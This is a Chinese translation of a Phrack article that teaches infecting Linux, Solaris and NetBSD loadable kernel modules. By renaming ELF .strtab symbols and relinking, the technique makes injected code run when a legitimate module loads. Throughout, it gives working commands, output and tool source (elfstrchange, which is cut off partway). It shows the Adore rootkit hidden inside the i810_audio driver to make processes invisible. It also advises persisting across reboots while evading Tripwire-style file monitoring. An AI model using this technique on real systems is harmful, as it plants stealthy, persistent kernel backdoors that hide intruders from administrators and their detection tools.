分享
 
 
 

LKM 注射

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f

|=----------------=[ Infecting loadable kernel modules ]=----------------=|

|=-----------------------------------------------------------------------=|

|=--------------------=[ truff <truff@projet7.org> ]=-------------------=|

|=-----------------------------------------------------------------------=|

|=------------=[ translator: osmose <osmose@ph4nt0m.net> ]=-------------=|

LKM 注射

--[ 内容

1 - 介绍

2 - ELF 基础知识

2.1 - The .symtab section

2.2 - The .strtab section

3 - 玩转 loadable kernel modules

3.1 - 模块加载

3.2 - 修改 .strtab section

3.3 - 插入代码

3.4 - 保持隐蔽性

4 - 实例

4.1 - 最简单的 LKM 感染

4.2 - 我还会回来的 (重启之后)

5 - 关于其他的操作系统

5.1 - Solaris

5.2 - *BSD

5.2.1 - FreeBSD

5.2.2 - NetBSD

5.2.3 - OpenBSD

6 - 结论

7 - 感谢

8 - 参考资料

9 - 源代码

9.1 - ElfStrChange

9.2 - Lkminject

--[ 1 - 介绍

这些年来,很多 rootkit 使用了 loadable kernel modules。这仅仅是一种短暂的流

行现象吗?不是,lkm 的广泛使用得益于它强大的功能:可以隐藏文件,进程还有其他

一些妙用。对于第一代使用 lkm 的 rootkits,使用lsmod命令就可以轻易的找出它们。

我们见过许许多多隐藏模块的手法,比如在Plaguez的文章 [1]里提到的那种,还有更多

的在Adore Rootkit [2]里面用到的技巧。几年以后,我们还看到一些新技术:通过使用

/dev/kmem [3] 修改kernel内存映射(kernel memory image)。最后,参考资料[4]向

我们展示了静态内核补丁(static kernel patching)技术。这个技术解决了一个大问题:

rootkit在机器重启后可以重新加载。

(译者注:查找了一下lsmod的运作方式,供大家了解。"在kernel 2.0.x 时,指令

'lsmod'是去开启档案 '/proc/modules' 来得知系统中,已加载哪些 Module。不过

到了kernel 2.1.x以后,系统提供了函式' query_module'。因此,此时'lsmod'的实

作便是透过呼叫 query_module 来取得系统已加载 module的相关资料。")

本文提出了一种新的隐藏lkm rootkits的技术并且保证这些rootkit在机器重启后能够

重新加载。文章会提到如何感染一个系统使用的内核模块。本文针对的是 Linux kernel

x86 2.4.x 系列,不过这个技术可以在任何使用ELF文件格式的系统中推广。要了解这个

技术需要一些基础知识。内核模块是ELF object 文件,我们需要了解一点ELF格式,尤其

是关于符号命名部分的知识。此后,我们会接着学习模块加载机制以便了解如何把恶意代

码插入内核模块中。最后,实战操作一下模块的插入。

--[ 2 - ELF 基础

Executable(可执行) & Linking(链接) Format (ELF) 是用于linux操作系统上的

可执行文件格式。我们先要了解部分相关知识,以后用得着(如果想要全面了解ELF格式,

请参考[1])。 当链接两个ELF object 文件的时候,链接程序需要知道每个object文件

里相关符号的一些情况。每个ELF object文件(比如lkm的那些object文件)包含了两个

部分(译者注:就是后文的 .symtab 和 .strtab 两个section )。这两个section 是用

来存储每个符号的信息结构的。我们不但要研究它们,还要总结出一些对感染内核模块有

用的思路。

----[ 2.1 - .symtab section

这部分是一个结构列表。当链接程序使用那些ELF object文件里的符号时,就需要这些

数据。在/usr/include/elf.h里可以找到这个结构的定义:

/* Symbol table entry. */(符号列表入口)

typedef struct

{

Elf32_Word st_name; /* Symbol name (string tbl index) */(符号名(字符串列表索引))

Elf32_Addr st_value; /* Symbol value */(符号的值)

Elf32_Word st_size; /* Symbol size */(符号数据占用空间的大小)

unsigned char st_info; /* Symbol type and binding */(符号类型和绑定)

unsigned char st_other; /* Symbol visibility */(符号的可见性)

Elf32_Section st_shndx; /* Section index */(各section 的索引)

} Elf32_Sym;

这里我们只对st_name感兴趣。实际上它是 .strtab section 的索引,而那些符号的名称就是

存储在 .strtab 里面的。

----[ 2.2 - .strtab section

.strtab section 是一个非空字符串的列表。正如我们上面看见的,Elf32_Sym里面的st_name

是 .strtab section 的索引。如果我们寻找的符号在某个字符串里,我们可以很方便的得到这个

字符串的偏移地址。下面是我们的计算公式:

offset_sym_name = offset_strtab + st_name

offset_strtab 是 .strtab section 相对于文件起始处的偏移地址,可以通过section 名称解

析机制获得。这和我们要谈的技术关系不是很大,这里就不深究了。参考资料[5]里面详细探讨了

这个问题,后面章节9.1给出了具体实现的代码。

现在可以说,在ELF object 文件里,我们可以很方便的找到符号名并修改它们。不过修改过程

中始终要牢记一点:.strtab section 是由连续的非空字符串组成的,这对修改后新的符号名是一

个限制:新名称的长度不能超过原来的那个长度,否则会殃及 .strtab 中下一个符号。(译者注:

这里和溢出的道理一样,新名称长度超过原先设定值,多出的部分就会写到后面一个符号名区域里,

覆盖后面有用的部分)

遵守了这一点,我们就能做到简单的修改符号名而不影响模块的正常运行,最终实现用一

个模块感染另一个模块。

--[ 3 - 玩转 loadable kernel modules

下面这段给出了动态加载模块程序的源代码。了解了这个,我们就能学会在模块中插入代

码了。

----[ 3.1 - 模块加载

内核模块的加载是通过insmod这个用户空间工具实现的。insmod包含在modutils包里[6]。

我们感兴趣的东西是insmod.c文件里的init_module()函数。

static int init_module(const char *m_name, struct obj_file *f,

unsigned long m_size, const char *blob_name,

unsigned int noload, unsigned int flag_load_map)

{

(1) struct module *module;

struct obj_section *sec;

void *image;

int ret = 0;

tgt_long m_addr;

....

(2) module->init = obj_symbol_final_value(f,

obj_find_symbol(f, "init_module"));

(3) module->cleanup = obj_symbol_final_value(f,

obj_find_symbol(f, "cleanup_module"));

....

if (ret == 0 && !noload) {

fflush(stdout); /* Flush any debugging output */

(4) ret = sys_init_module(m_name, (struct module *) image);

if (ret) {

error("init_module: %m");

lprintf(

"Hint: insmod errors can be caused by incorrect module parameters, "

"including invalid IO or IRQ parameters.\n"

"You may find more information in syslog or the output from dmesg");

}

}

在 (1) 里,函数向一个结构体模块(struct module)填充了加载模块必须的数据。

需要关注的部分是 init_module 和 cleanup_module。这是两个函数指针,分别指向

被加载模块的 init_module() 和 cleanup_module() 函数。(2)里面的 obj_find_symbol()

函数遍历符号列表查找名字为init_module的符号,然后提取这个结构体符号(struct

symbol)并把它传递给 obj_symbol_final_value()。后者从这个结构体符号提取出

init_module函数的地址。同理,在 (3) 里这个工作对于cleanup_module()又重复了一

遍。需要牢记的是,对于模块初始化或结束时调用的函数,他们在 .strtab section 的入口

分别对应着 init_module 和 cleanup_module。

当结构体模块填充完毕后,(4) 使用了 sys_init_module() 这个系统调用(syscall)

通知内核加载相应模块。

模块加载过程中程序调用了 sys_init_module(),其中有我们感兴趣的部分。这个函

数的代码可以在 /usr/src/linux/kernel/module.c 里找到:

asmlinkage long

sys_init_module(const char *name_user, struct module *mod_user)

{

struct module mod_tmp, *mod;

char *name, *n_name, *name_tmp = NULL;

long namelen, n_namelen, i, error;

unsigned long mod_user_size;

struct module_ref *dep;

/* 很多sanity checks */

.....

/* 好了,上面是我们可以忍受的所有的sanity checks;剩下的拷贝如下。*/

(1) if (copy_from_user((char *)mod+mod_user_size,

(char *)mod_user+mod_user_size,

mod->size-mod_user_size)) {

error = -EFAULT;

goto err3;

}

/* 其他的sanity checks */

....

/* 初始化模块 */

atomic_set(&mod->uc.usecount,1);

mod->flags |= MOD_INITIALIZING;

(2) if (mod->init && (error = mod->init()) != 0) {

atomic_set(&mod->uc.usecount,0);

mod->flags &= ~MOD_INITIALIZING;

if (error > 0) /* Buggy module */

error = -EBUSY;

goto err0;

}

atomic_dec(&mod->uc.usecount);

在一些sanity check之后,结构体模块被 (1) 里的copy_from_user()从用户空间拷贝

到内核空间。然后 (2) 里通过使用 mod->init() 函数指针调用了被加载模块的

init_module() 函数。而 mod->init() 这个指针的值是由 insmod 这个工具填充的。

----[ 3.2 - 修改 .strtab section

前面已经提到了,通过检查 .strtab section 里的字符串,我们可以定位模块中init函数的

地址。而通过修改这个字符串,我们可以在模块被加载的时候执行其他的函数。

修改 .strtab section 入口有几种办法。ld 的 -wrap 参数可以做到。不过这个方法和我们

后面要用到的 -r 参数(章节3.3)不兼容。在章节5.1里,我们会看到如何用xxd完成这

个工作。我写了一个工具(章节9.1)自动执行这些。

下面是一个简单的例子:

$ cat test.c

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

int init_module(void)

{

printk ("<1> Into init_module()\n");

return 0;

}

int evil_module(void)

{

printk ("<1> Into evil_module()\n");

return 0;

}

int cleanup_module(void)

{

printk ("<1> Into cleanup_module()\n");

return 0;

}

$ cc -O2 -c test.c

让我们看看 .symtab 和 .strtab 这两个section:

$ objdump -t test.o

test.o: file format elf32-i386

SYMBOL TABLE:

0000000000000000 l df *ABS* 0000000000000000 test.c

0000000000000000 l d .text 0000000000000000

0000000000000000 l d .data 0000000000000000

0000000000000000 l d .bss 0000000000000000

0000000000000000 l d .modinfo 0000000000000000

0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version

0000000000000000 l d .rodata 0000000000000000

0000000000000000 l d .comment 0000000000000000

0000000000000000 g F .text 0000000000000014 init_module

0000000000000000 *UND* 0000000000000000 printk

0000000000000014 g F .text 0000000000000014 evil_module

0000000000000028 g F .text 0000000000000014 cleanup_module

我们马上要修改 .strtab section 的两个入口以便把 evil_module 的符号名改成 init_module。

首先必须把 init_module 这个符号重命名。在同一个ELF object文件里,两个性质相同的符

号名字不能重复。下面是操作过程:

重命名

1) init_module ----> dumm_module

2) evil_module ----> init_module

$ ./elfstrchange test.o init_module dumm_module

[+] Symbol init_module located at 0x3dc

[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module

[+] Symbol evil_module located at 0x3ef

[+] .strtab entry overwriten with init_module

$ objdump -t test.o

test.o: file format elf32-i386

SYMBOL TABLE:

0000000000000000 l df *ABS* 0000000000000000 test.c

0000000000000000 l d .text 0000000000000000

0000000000000000 l d .data 0000000000000000

0000000000000000 l d .bss 0000000000000000

0000000000000000 l d .modinfo 0000000000000000

0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version

0000000000000000 l d .rodata 0000000000000000

0000000000000000 l d .comment 0000000000000000

0000000000000000 g F .text 0000000000000014 dumm_module

0000000000000000 *UND* 0000000000000000 printk

0000000000000014 g F .text 0000000000000014 init_module

0000000000000028 g F .text 0000000000000014 cleanup_module

# insmod test.o

# tail -n 1 /var/log/kernel

May 4 22:46:55 accelerator kernel: Into evil_module()

正如我们看到的,evil_module() 被当作 init_module() 调用了。

----[ 3.3 - 插入代码

不断发展的技术使得替换函数并且执行变成了可能,不过这还不是特别有趣。如果我们

能在已有的模块中插入外来的代码就更好了。有一种方法可以 *轻松* 做到这点--使用

ld 这个法宝。

$ cat original.c

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

int init_module(void)

{

printk ("<1> Into init_module()\n");

return 0;

}

int cleanup_module(void)

{

printk ("<1> Into cleanup_module()\n");

return 0;

}

$ cat inject.c

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

int inje_module (void)

{

printk ("<1> Injected\n");

return 0;

}

$ cc -O2 -c original.c

$ cc -O2 -c inject.c

重要部分开始了。由于内核模块都是可以重定位的ELF object文件,代码插入并不是个

问题。这种object文件在链接后可以共享彼此的符号。同样这里有一个原则:要链接在一

起的几个模块里不能有同名符号。使用 ld 命令带上 -r 参数完成一个部分链接,不改变

链接文件的性质。这样声明的模块可以被内核加载。

$ ld -r original.o inject.o -o evil.o

$ mv evil.o original.o

$ objdump -t original.o

original.o: file format elf32-i386

SYMBOL TABLE:

0000000000000000 l d .text 0000000000000000

0000000000000000 l d *ABS* 0000000000000000

0000000000000000 l d .rodata 0000000000000000

0000000000000000 l d .modinfo 0000000000000000

0000000000000000 l d .data 0000000000000000

0000000000000000 l d .bss 0000000000000000

0000000000000000 l d .comment 0000000000000000

0000000000000000 l d *ABS* 0000000000000000

0000000000000000 l d *ABS* 0000000000000000

0000000000000000 l d *ABS* 0000000000000000

0000000000000000 l df *ABS* 0000000000000000 original.c

0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version

0000000000000000 l df *ABS* 0000000000000000 inject.c

0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version

0000000000000014 g F .text 0000000000000014 cleanup_module

0000000000000000 g F .text 0000000000000014 init_module

0000000000000000 *UND* 0000000000000000 printk

0000000000000028 g F .text 0000000000000014 inje_module

这样 inje_module() 函数就被链接进了模块。现在我们要修改 .strtab section 以保证模块

加载时被调用的是inje_module()而不是init_module()。

$ ./elfstrchange original.o init_module dumm_module

[+] Symbol init_module located at 0x4a8

[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module

[+] Symbol inje_module located at 0x4bb

[+] .strtab entry overwriten with init_module

开火吧:

# insmod original.o

# tail -n 1 /var/log/kernel

May 14 20:37:02 accelerator kernel: Injected

奇迹发生了 :)

----[ 3.4 - 保持隐蔽性

大多数时候,我们要感染那些正在使用的的模块。如果我们用别的函数替换

了init_module(),模块原先的功能就不能发挥了。明眼人很容易发现这个被感染

的模块。有一个解决方法可以既保留原有的功能,又能插入我们的代码。.strtab

被 hack 了以后,真正的 init_module()函数重命名为dumm_module。如果我

们在插入的 evil_module() 函数里调用 dumm_module(),那么真正的 init_module()

就会在模块初始化时执行,从而模块原有的功能也不会被破坏。

替换

init_module ------> dumm_module

inje_module ------> init_module (将会调用 dumm_module)

$ cat stealth.c

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

int inje_module (void)

{

dumm_module ();

printk ("<1> Injected\n");

return 0;

}

$ cc -O2 -c stealth.c

$ ld -r original.o stealth.o -o evil.o

$ mv evil.o original.o

$ ./elfstrchange original.o init_module dumm_module

[+] Symbol init_module located at 0x4c9

[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module

[+] Symbol inje_module located at 0x4e8

[+] .strtab entry overwriten with init_module

# insmod original.o

# tail -n 2 /var/log/kernel

May 17 14:57:31 accelerator kernel: Into init_module()

May 17 14:57:31 accelerator kernel: Injected

好极了,我们插入的代码在正常代码运行之后也得到了执行,这下够隐蔽的了。

--[ 4 - 实例

下面修改 init_module() 的方法对 cleanup_module() 函数也同样适用。这样,我们就

可以把一个完整的模块插入另一个模块中去了。我曾经通过简单的处理把著名的 Adore[2]

rootkit 插入到我的声卡驱程(i810_audio.o)里。

----[ 4.1 - 最简单的 LKM 感染

1) 我们必须对adore.c稍稍做点修改

* 在 init_module() 函数里加入对 dumm_module() 的调用

* 在 cleanup_module() 模块函数里加入对 dummcle_module() 的调用

* 把 init_module 函数名改成 evil_module

* 把 cleanup_module 函数名改成 evclean_module

(译者注:注意始终保持函数名长度和原名称的一致性)

2) 用 make 命令编译 Adore

3) 把 adore.o 和 i810_audio.o 链接

ld -r i810_audio.o adore.o -o evil.o

如果将要被插入的模块已经加载了,必须先卸载它:

rmmod i810_audio

mv evil.o i810_audio.o

4) 修改 .strtab section

替换

init_module ------> dumm_module

evil_module ------> init_module (将会调用 dumm_module)

cleanup_module ------> evclean_module

evclean_module ------> cleanup_module (将会调用 evclean_module)

$ ./elfstrchange i810_audio.o init_module dumm_module

[+] Symbol init_module located at 0xa2db

[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module

[+] Symbol evil_module located at 0xa4d1

[+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module

[+] Symbol cleanup_module located at 0xa169

[+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module

[+] Symbol evclean_module located at 0xa421

[+] .strtab entry overwriten with cleanup_module

5) 加载并且测试模块

# insmod i810_audio

# ./ava

Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

h hide file

u unhide file

r execute as root

R remove PID forever

U uninstall adore

i make PID invisible

v make PID visible

# ps

PID TTY TIME CMD

2004 pts/3 00:00:00 bash

2083 pts/3 00:00:00 ps

# ./ava i 2004

Checking for adore 0.12 or higher ...

Adore 0.53 installed. Good luck.

Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps

PID TTY TIME CMD

#

完美吧 :) 为了方便懒人干活,我写了一个简单的shell脚本(章节 9.2)做这些工作。

----[ 4.2 - 我还会回来的 (重启之后)

当模块加载时,为了以后进一步的需要,我们有两种选择:

* 用感染后的模块替换 /lib/modules/ 里真正的模块。

这可以保证重启后我们的后门能够被重新加载。但是,这也会被像 Tripwire[7] 这样

的HIDS(Host Intrusion Detection System 文件入侵监测系统)发现。不过不要太担

心,内核模块既不是可执行文件也不是一个suid文件,如果管理员配置的HIDS规则

不是太变态,还是查不到我们头上的。

* 不去动那些放在 /lib/modules 下真正的内核模块,同时删除被感染的模块。这样,即

使HIDS监测文件的修改情况,它们也只能无功而返。

--[ 5 - 关于其他的操作系统

----[ 5.1 - Solaris

我通过[8]里的一个基本内核模块来讲解这个例子。Solaris 内核模块使用了三个基本函数:

- _init 模块初始化的时候调用

- _fini 模块卸载时调用

- _info 当用户使用modinfo命令时,负责输出模块信息

$ uname -srp

SunOS 5.7 sparc

$ cat mod.c

#include <sys/ddi.h>

#include <sys/sunddi.h>

#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {

&mod_miscops,

"Real Loadable Kernel Module",

};

static struct modlinkage modlinkage = {

MODREV_1,

(void *)&modlmisc,

NULL

};

int _init(void)

{

int i;

if ((i = mod_install(&modlinkage)) != 0)

cmn_err(CE_NOTE,"Could not install module\n");

else

cmn_err(CE_NOTE,"mod: successfully installed");

return i;

}

int _info(struct modinfo *modinfop)

{

return (mod_info(&modlinkage, modinfop));

}

int _fini(void)

{

int i;

if ((i = mod_remove(&modlinkage)) != 0)

cmn_err(CE_NOTE,"Could not remove module\n");

else

cmn_err(CE_NOTE,"mod: successfully removed");

return i;

}

$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c

$ ld -r -o mod mod.o

$ file mod

mod: ELF 64-bit MSB relocatable SPARCV9 Version 1

正如我们在linux例子里看到的,我们要插入的代码里必须包含对真正 init 函数的调

用,这样模块才能和原来一样正常工作。不过,我们要面对一个问题:如果我们在模块

链接之后再修改 .strtab section ,动态加载程序无法找到 _dumm() 函数,模块自然

也无法被正常加载。在这个问题上我没有太深入的研究,但是我觉得Solaris的动态加载

程序不会在模块里查找那些没有被定义的符号。所以问题解决了:我们只要在链接之前把

.strtab入口的 _init 重命名为 _dumm 就可以了。

$ readelf -S mod

有10个section 的header(section headers),它们的偏移地址从 0x940 开始。

Section Headers:

[Nr] Name Type Address Offset

Size EntSize Flags Link Info Align

[ 0] NULL 0000000000000000 00000000

0000000000000000 0000000000000000 0 0 0

[ 1] .text PROGBITS 0000000000000000 00000040

0000000000000188 0000000000000000 AX 0 0 4

[ 2] .rodata PROGBITS 0000000000000000 000001c8

000000000000009b 0000000000000000 A 0 0 8

[ 3] .data PROGBITS 0000000000000000 00000268

0000000000000050 0000000000000000 WA 0 0 8

[ 4] .symtab SYMTAB 0000000000000000 000002b8

0000000000000210 0000000000000018 5 e 8

[ 5] .strtab STRTAB 0000000000000000 000004c8

0000000000000065 0000000000000000 0 0 1

[ 6] .comment PROGBITS 0000000000000000 0000052d

0000000000000035 0000000000000000 0 0 1

[ 7] .shstrtab STRTAB 0000000000000000 00000562

000000000000004e 0000000000000000 0 0 1

[ 8] .rela.text RELA 0000000000000000 000005b0

0000000000000348 0000000000000018 4 1 8

[ 9] .rela.data RELA 0000000000000000 000008f8

0000000000000048 0000000000000018 4 3 8

Flag 注释:

W (write写), A (alloc分配), X (execute执行), M (merge合并), S (strings字符串)

I (info信息), L (link order链接顺序), G (group组), x (unknown未知)

O (extra OS processing required需要额外的系统处理), o (OS specific制定操作系统)

p (processor specific指定处理器)

.strtab section 的起始偏移地址为 0x4c8,大小是 64 位。下面我们用vi 和 xxd 作为我们的

16位编辑器修改 .strtab section 。用 vi mod 这个命令在vi里打开模块。然后输入 :%!xxd 把

模块转换成16进制。你会看到下面这些字符:

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod

00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo

00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco

00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins

0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69 tall._init.mod_i

^^^^^^^^^

我们用 _dumm 替换 _init,只修改四个字节。

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod

00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo

00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco

00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins

0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69 tall._init.mod_i

^^^^^^^^^ ^^^^

^^^^

(译者注:这里似乎应该是dumm,

可能是笔误)

用 :%!xxd -r 这个命令把模块从16进制转换回去,保存退出。然后我们来证实一下我们

的修改是否成功。

$ objdump -t mod

mod: file format elf64-sparc

SYMBOL TABLE:

0000000000000000 l df *ABS* 0000000000000000 mod

0000000000000000 l d .text 0000000000000000

0000000000000000 l d .rodata 0000000000000000

0000000000000000 l d .data 0000000000000000

0000000000000000 l d *ABS* 0000000000000000

0000000000000000 l d *ABS* 0000000000000000

0000000000000000 l d .comment 0000000000000000

0000000000000000 l d *ABS* 0000000000000000

0000000000000000 l d *ABS* 0000000000000000

0000000000000000 l d *ABS* 0000000000000000

0000000000000000 l df *ABS* 0000000000000000 mod.c

0000000000000010 l O .data 0000000000000040 modlinkage

0000000000000000 l O .data 0000000000000010 modlmisc

0000000000000000 *UND* 0000000000000000 mod_miscops

00000000000000a4 g F .text 0000000000000040 _info

0000000000000000 *UND* 0000000000000000 mod_install

0000000000000000 g F .text 0000000000000188 _dumm

0000000000000000 *UND* 0000000000000000 mod_info

0000000000000000 *UND* 0000000000000000 mod_remove

00000000000000e4 g F .text 0000000000000188 _fini

0000000000000000 *UND* 0000000000000000 cmn_err

可以看到 _init 已经被 _dumm 替换了。现在我们可以直接插入一个名为 _init

的函数了。

$ cat evil.c

int _init(void)

{

_dumm ();

cmn_err(1,"evil: successfully installed");

return 0;

}

$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c

$ ld -r -o inject inject.o

用ld命令插入模块:

$ ld -r -o evil mod inject

加载模块:

# modload evil

# tail -f /var/adm/messages

Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed

Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed

利用 _fini 函数把一个完整模块插入其他模块的操作和上面的一样。

----[ 5.2 - *BSD

------[ 5.2.1 - FreeBSD

% uname -srm

FreeBSD 4.8-STABLE i386

% file /modules/daemon_saver.ko

daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1

(FreeBSD), not stripped

正如我们看到的,FreeBSD 内核模块是共享object的,所以我们无法使用ld命令把恶意

代码和模块链接到一起。不仅如此,FreeBSD 加载模块的机制和 Linux 以及 Solaris 都不

一样。看看 /usr/src/sys/kern/kern_linker.c 你就明白了。init/cleanup 的函数名可以

五花八门。初始化时,加载程序直接在 .data section 的一个结构体内找到 init 函数的

地址,而不是靠函数名判断。因此上面的hack .strtab 的方法不再适用了。

------[ 5.2.2 - NetBSD

$ file nvidia.o

nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1

(SYSV), not stripped

NetBSD 内核模块是可以重定位的 ELF object 文件,可以插入模块。当使用 modload 命

令加载内核模块的时候,加载程序把模块和内核链接起来,同时执行模块入口处的代码(代

码放在ELF header里)。

链接以后,我们可以修改模块入口。不过没有必要这样做。modload 命令提供了"-e"参

数,方便我们设置哪个符号为入口点。

下面是一个例子,我们要感染的模块:

$ cat gentil_lkm.c

#include <sys/cdefs.h>

#include <sys/param.h>

#include <sys/ioctl.h>

#include <sys/systm.h>

#include <sys/conf.h>

#include <sys/lkm.h>

MOD_MISC("gentil");

int gentil_lkmentry(struct lkm_table *, int, int);

int gentil_lkmload(struct lkm_table *, int);

int gentil_lkmunload(struct lkm_table *, int);

int gentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)

{

DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,

gentil_lkmstat);

}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)

{

printf("gentil: Hello, world!\n");

return (0);

}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)

{

printf("gentil: Goodbye, world!\n");

return (0);

}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)

{

printf("gentil: How you doin', world?\n");

return (0);

}

下面这部分是要插入的代码:

$ cat evil_lkm.c

#include <sys/cdefs.h>

#include <sys/param.h>

#include <sys/ioctl.h>

#include <sys/systm.h>

#include <sys/conf.h>

#include <sys/lkm.h>

int gentil_lkmentry(struct lkm_table *, int, int);

int

inject_entry(struct lkm_table *lkmt, int cmd, int ver)

{

switch(cmd) {

case LKM_E_LOAD:

printf("evil: in place\n");

break;

case LKM_E_UNLOAD:

printf("evil: i'll be back!\n");

break;

case LKM_E_STAT:

printf("evil: report in progress\n");

break;

default:

printf("edit: unknown command\n");

break;

}

return gentil_lkmentry(lkmt, cmd, ver);

}

分别编译了 gentil 和 evil 之后,我们把它们链接到一起:

$ ld -r -o evil.o gentil.o inject.o

$ mv evil.o gentil.o

# modload -e evil_entry gentil.o

Module loaded as ID 2

# modstat

Type Id Offset Loadaddr Size Info Rev Module Name

DEV 0 -1/108 d3ed3000 0004 d3ed3440 1 mmr

DEV 1 -1/180 d3fa6000 03e0 d4090100 1 nvidia

MISC 2 0 e45b9000 0004 e45b9254 1 gentil

# modunload -n gentil

# dmesg | tail

evil: in place

gentil: Hello, world!

evil: report in progress

gentil: How you doin', world?

evil: i'll be back!

gentil: Goodbye, world!

好了,一切如此完美 :)

------[ 5.2.3 - OpenBSD

OpenBSD 不使用 x86 构架的 ELF 文件,所以这个技术没有用武之地。我没有在那些使

用ELF的平台上测试过,但是我觉得它们看起来和NetBSD差不多,上面的hack技术应该

也适用。如果你在使用ELF的 OpenBSD 平台上成功了,告诉我一声。

--[ 6 - 结论

这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处

理就可以实现代码的插入,的确很有趣。

好好玩吧 :)

--[ 7 - 感谢

我要感谢 mycroft, OUAH, aki 和 afrique 给我的意见和建议。非常感谢 klem 教会我

逆向工程。

感谢 FXKennedy 在 NetBSD 方面给我的帮助。

A big kiss to Carla for being wonderfull. (译者注:这句话我就不翻了^_^)

最后感谢所有 #root 的人们, `spud, hotfyre, funka, jaia,climax,

redoktober ...

--[ 8 - 参考资料

[1] Weakening the Linux Kernel by Plaguez

http://www.phrack.org/show.php?p=52&a=18

[2] The Adore rootkit by stealth

http://stealth.7350.org/rootkits/

[3] Runtime kernel kmem patching by Silvio Cesare

http://vx.netlux.org/lib/vsc07.html

[4] Static Kernel Patching by jbtzhm

http://www.phrack.org/show.php?p=60&a=8

[5] Tool interface specification on ELF

http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf

[6] Modutils for 2.4.x kernels

ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4

[7] Tripwire

http://www.tripwire.org

[8] Solaris Loadable Kernel Modules by Plasmoid

http://www.thc.org/papers/slkm-1.0.html

--[ 9 - 源代码

----[ 9.1 - ElfStrChange

/*

* elfstrchange.c by truff <truff@projet7.org>

* Change the value of a symbol name in the .strtab section

*

* Usage: elfstrchange elf_object sym_name sym_name_replaced

*

*/

#include <stdlib.h>

#include <stdio.h>

#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,

Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,

Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,

Elf32_Shdr *strtable, char *res, size_t len);

int main (int argc, char **argv)

{

int i;

int len = 0;

char *string;

FILE *fd;

Elf32_Ehdr hdr;

Elf32_Shdr symtab, strtab;

Elf32_Sym sym;

Elf32_Off symoffset;

fd = fopen (argv[1], "r+");

if (fd == NULL)

FATAL ("fopen");

if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)

FATAL ("Elf header corrupted");

if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)

{

fprintf (stderr, "Can't get .symtab section\n");

exit (EXIT_FAILURE);

}

if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)

{

fprintf (stderr, "Can't get .strtab section\n");

exit (EXIT_FAILURE);

}

symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);

if (symoffset == -1)

{

fprintf (stderr, "Symbol %s not found\n", argv[2]);

exit (EXIT_FAILURE);

}

printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);

if (fseek (fd, symoffset, SEEK_SET) == -1)

FATAL ("fseek");

if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))

FATAL ("fwrite");

printf ("[+] .strtab entry overwriten with %s\n", argv[3]);

fclose (fd);

return EXIT_SUCCESS;

}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,

Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)

{

int i;

char symname[255];

Elf32_Off offset;

for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)

{

if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),

SEEK_SET) == -1)

FATAL ("fseek");

